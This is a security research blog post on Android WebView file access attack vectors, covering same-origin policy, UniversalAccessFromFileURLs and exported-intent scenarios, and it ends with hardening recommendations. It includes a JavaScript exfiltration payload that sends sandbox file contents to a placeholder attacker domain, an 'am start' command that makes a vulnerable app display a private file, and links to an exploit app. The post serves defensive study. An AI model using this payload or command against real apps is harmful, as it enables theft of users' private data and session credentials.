Reviewing Android Webviews File Access Attack Vectors
Introduction
WebViews are a crucial part of many mobile applications and there are some security aspects that need to be taken into account when using them. File access is one of those aspects. For the implementation of some checks in our security tool Droidstatx, I’ve spent some time understanding all the details and noticed that not all attack vectors are very clear, specially in their requirements.
WebView file access is enabled by default. Since API 3 (Cupcake 1.5) the method setAllowFileAccess() is available for explicitly enabling or disabling it.
A WebView with file access enabled will be able to access all the same files as the embedding application, such as the application sandbox (located in /data/data/<package_name>), /etc, /sdcard, among others. Above API 19(KitKat 4.4 - 4.4.4), the app will need the android.permission.READ_EXTERNAL_STORAGE permission.
The WebView needs to use a File URL Scheme, e.g., file://path/file
, to access the file.
Another important detail is that WebViews have Javascript disabled by default. The method setJavaScriptEnabled() is available for explicitly enabling or disabling it..
Before going into details regarding the type of attack vectors that are made possible with file access, one needs to be aware of another concept, Same Origin Policy (SOP):
A web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin. An origin is defined as a combination of URI scheme, host name, and port number. in https://en.wikipedia.org/wiki/Same-origin_policy
As an example, the URLs https://www.integrity.pt and file://etc/hosts do not have the same origin since they won’t match in:
- Scheme: HTTPS vs file
- Authority: www.integrity.pt vs etc/hosts
This means that a file request in the context of the https://www.integrity.pt loaded contents will be considered a Cross Origin Request (COR).
Attack Vectors
So we have a WebView with file access. Now what? As an attacker we want data exfiltration and this is what motivated me to write this article because there are details that can invalidate this type of attack.
Scenario 1: App with WebView that loads resources which the attacker is able to intercept and manipulate. Javascript enabled.
In this scenario, an attacker is able to intercept the communication of the app and is able to manipulate the content. Our goal is to exfiltrate content from the app so our best option is to use Javascript to do so. Using an XMLHttpRequest seems the best way to do that.
The attacker can try and replace the content returned to the app with a Javascript payload that would seemingly allow to exfiltrate files:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
window.location.replace('https://attackerdomain.com/?exfiltrated='+xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt', true);
xhr.send(null);
The attacker will be able to see the HTTP request but without exfiltrated data. If we look into the system logs we discover why.
05-09 12:38:59.306 27768 27768 I chromium: [INFO:CONSOLE(20)] “Failed to load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.“, source: https://labs.integrity.pt/ (20)
On earlier API versions like 15 (Ice Cream Sandwich 4.0.3 - 4.0.4) a similar error is returned:
Console: XMLHttpRequest cannot load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt. Cross origin requests are only supported for HTTP. null:1 Console: Uncaught Error: NETWORK_ERR: XMLHttpRequest Exception 101 https://labs.integrity.pt/:39
So even with file access enabled in the WebView, due to the fact that the file scheme request is considered a Cross Origin Request and hence disallowed, the attacker will not be able to exfiltrate files this way.
Scenario 2: App with WebView that loads local HTML files via file scheme with external resources which the attacker is able to intercept and manipulate. Javascript enabled.
In this scenario, the HTML files are stored locally in the APK and are loaded via file scheme, but some resources are loaded externally.
There is a very important property called UniversalAccessFromFileURLs that allows SOP bypass. This property indicates whether Javascript running in the context of a file scheme can access content from any origin. This property is enabled by default below API 16 (Jelly Bean 4.1.x) and there is no way to disable it on those API levels [1]. In API 16 (Jelly Bean 4.1.x) and afterwards the property is disabled by default. The method setAllowUniversalAccessFromFileURLs() was also made available to explicitly enable or disable this feature.
Using the same Javascript payload, the attack will succeed in devices that are running on API 15 and below, or in apps that explicitly enable the property using the method setAllowUniversalAccessFromFileURLs().
The attack succeeds due to the fact that the app is running Javascript in the context of an HTML file loaded with a file scheme and the UniversalAccessFromFileURLs property is enabled, allowing SOP bypass.
Scenario 3: App with exported component that opens URLs via Intent. Backup disabled. Access to External Storage.
In this scenario, the app has an exported activity, then receives URLs via Intents, and opens the respective URL. This is very common in apps that are using Deep Links. When intent-filters are not correctly implemented this can cause security issues.
The app also has Backup disabled, preventing an attacker to obtain access to the app’s sandbox content via the backup file.
Here the attack vectors are a bit trickier and far-fetched, but still possible.
Scenario 3 - Physical Attack
One possible attack vector is someone that has physical access to a unlocked device, already knows in advanced the structure of the vulnerable app (consider an hypothetical well known app, with a large user base), and session cookies or plaintext credentials are stored in the app’s sandbox.
The attacker can install a custom app sending a targeted Intent for the file with sensitive information or install a terminal emulator from Google Play and type in the following command:
am start -n pt.integrity.labs.webview_intents/.ExportedActivity –es url “file:///data/data/pt.integrity.labs.webview_intents/files/sandbox_file.txt”
This will trigger the vulnerable app and the WebView is going to show the content of the sensitive file on the screen. Without rooting the device it is possible to obtain access to the content of the app’s sandbox.
Scenario 3 - Malicious App
This attack requires that the vulnerable app is running on a device below API 16 or the app has explicitly enabled UniversalAccessFromFileURLs
An attacker lures the user to install a malicious app that only needs android.permission.INTERNET and android.permission.READ_EXTERNAL_STORAGE permissions.
When started, the malicious app creates an HTML file in the external storage with a Javascript payload identical to the one used in scenarios 1 and 2. Afterwards, it sends an Intent to the vulnerable app containing the URL of the local HTML (previously created in the external storage). This will allow it to exfiltrate the information from inside the vulnerable app’s sandbox like in scenario 2.
Test Apps
I’ve created the apps for all scenarios so you can play around and test this for yourselves.
- Scenario 1 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_remote_scenario1.apk
- Scenario 2 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_local_scenario2.apk
- Scenario 3 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_intents_scenario3.apk
- Scenario 3 Exploit App - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_intents_scenario3_exploit.apk
Note1: All apps have broken TLS implementation so it’s easier to intercept the communication. If using Burp Suite, for scenario 2, ensure that you adjust the Intercept Client Requests rules so that you can intercept Javascript content.
Note2: While exploring the vulnerability in Scenario 2 and 3 (both vulnerable app and exploit) you will need to clear the data (Settings->Apps->App->Clear Data) when trying to repeat the attack.
Note3: On Scenario 3 Malicious App, start the vulnerable app a first time and only then run the exploit app.
Conclusion
WebViews with file access enabled can have a big impact in a particular application’s security but, by itself, a WebView with file access enabled does not guarantee a practical way to exfiltrate files from the system. For the attack to work it is required that the app is running on a device with API level < 16 and/or the app developer improperly used the Android platform as demonstrated in some of the scenarios above.
These were the attack vectors that I could identify but if I missed a particular one, I would love to discuss it and add it here. Ping me at https://twitter.com/clviper.
Recommendations:
- Ensure that all external external resources loaded by a WebView are using TLS and the app has a correct TLS implementation.
- Ensure that all exported components that might need to receive intents and trigger a WebView to open that URL are correctly filtered by using intent-filters and a data element for a fine filter of the allowed URIs.
- Ensure that all WebViews explicitly disable file access when not a requirement by using the method setAllowFileAccess().
- In API Level >=16, when not a requirement, ensure that no WebView enables the UniversalAccessFromFileURLs by using the method setAllowUniversalAccessFromFileURLs().
References
- https://en.wikipedia.org/wiki/Same-origin_policy
- https://source.android.com/setup/start/build-numbers
- https://developer.android.com/reference/android/webkit/WebView
- https://developer.android.com/reference/android/webkit/WebSettings
- https://developer.android.com/guide/components/intents-filters
- https://developer.android.com/guide/topics/manifest/data-element
- https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers
Notes
[1] Currently the Android developer documentation has the following paragraph:
To prevent possible violation of same domain policy when targeting ICE_CREAM_SANDWICH_MR1 and earlier, you should explicitly set this value to false.
I’ve opened an issue on google issue tracker, since this paragraph needs to be adjusted. The public method setAllowUniversalAccessFromFileURLs() was only implemented in API 16, so it is not possible to use this method in API 15 (ICE_CREAM_SANDWICH_MR1) and earlier.
Thank you
Special thank you to pmsac and morisson for the post review.